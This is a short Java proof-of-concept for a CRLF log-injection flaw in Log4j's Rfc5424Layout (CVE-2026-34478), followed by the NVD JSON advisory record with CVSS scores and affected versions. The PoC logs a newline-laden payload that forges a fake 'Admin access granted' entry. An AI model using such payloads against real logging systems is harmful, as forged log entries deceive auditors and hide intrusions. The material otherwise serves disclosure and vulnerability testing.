CVE-2026-34478

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.config.Configurator; import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder; import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; public class Cve202634478PoC { // Setup vulnerable configuration using Rfc5424Layout // Note: In affected versions (2.21.0 - 2.25.3), 'newLineEscape' might be ignored // if the attribute name changed internally, leading to CRLF injection. public static void main(String[] args) { ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder(); builder.setStatusLevel(org.apache.logging.log4j.Level.ERROR); // Configure a console appender with Rfc5424Layout builder.add(builder.newAppender("Syslog", "Syslog") .addAttribute("protocol", "TCP") .add(builder.newLayout("Rfc5424Layout") // Attempting to set newLineEscape (may fail silently due to rename) .addAttribute("newLineEscape", "true") ) ); builder.add(builder.newRootLogger(org.apache.logging.log4j.Level.INFO) .add(builder.newAppenderRef("Syslog"))); Configurator.initialize(builder.build()); Logger logger = LogManager.getLogger(Cve202634478PoC.class); // Malicious payload containing CRLF sequence String maliciousPayload = "User login failed\n\nMalicious Injected Log Entry: Admin access granted\n"; // Log the payload logger.info(maliciousPayload); System.out.println("If vulnerable, the log output will show the injected line as a new log entry."); } }

{"cve": {"id": "CVE-2026-34478", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:31.070", "lastModified": "2026-04-24T18:10:57.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Log4j Core's Rfc5424Layout https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout , in versions 2.21.0 through 2.25.3, is vulnerable to log injection via CRLF sequences due to undocumented renames of security-relevant configuration attributes.\n\nTwo distinct issues affect users of stream-based syslog services who configure Rfc5424Layout directly:\n\n * The newLineEscape attribute was silently renamed, causing newline escaping to stop working for users of TCP framing (RFC 6587), exposing them to CRLF injection in log output.\n * The useTlsMessageFormat attribute was silently renamed, causing users of TLS framing (RFC 5425) to be silently downgraded to unframed TCP (RFC 6587), without newline escaping.\n\n\nUsers of the SyslogAppender are not affected, as its configuration attributes were not modified.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-117"}, {"lang": "en", "value": "CWE-684"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.21.0", "versionEndExcluding": "2.25.4", "matchCriteriaId": "4928759D-3A0D-4BC2-85BC-2CFAF137B4A0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "ED00C38D-27EA-489C-9A2B-3594ACA8A3C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "8794D719-1D90-4378-B48B-698EA40FBFB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "74C9FCBD-ECAD-4C29-B97A-2B9D97C0FC1F"}]}]}], "references": [{"url": "https://github.com/apache/logging-log4j2/pull/4074", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/3k1clr2l6vkdnl4cbhjrnt1nyjvb5gwt", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "https://logging.apache.org/cyclonedx/vdr.xml", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://logging.apache.org/security.html#CVE-2026-34478", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/10/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}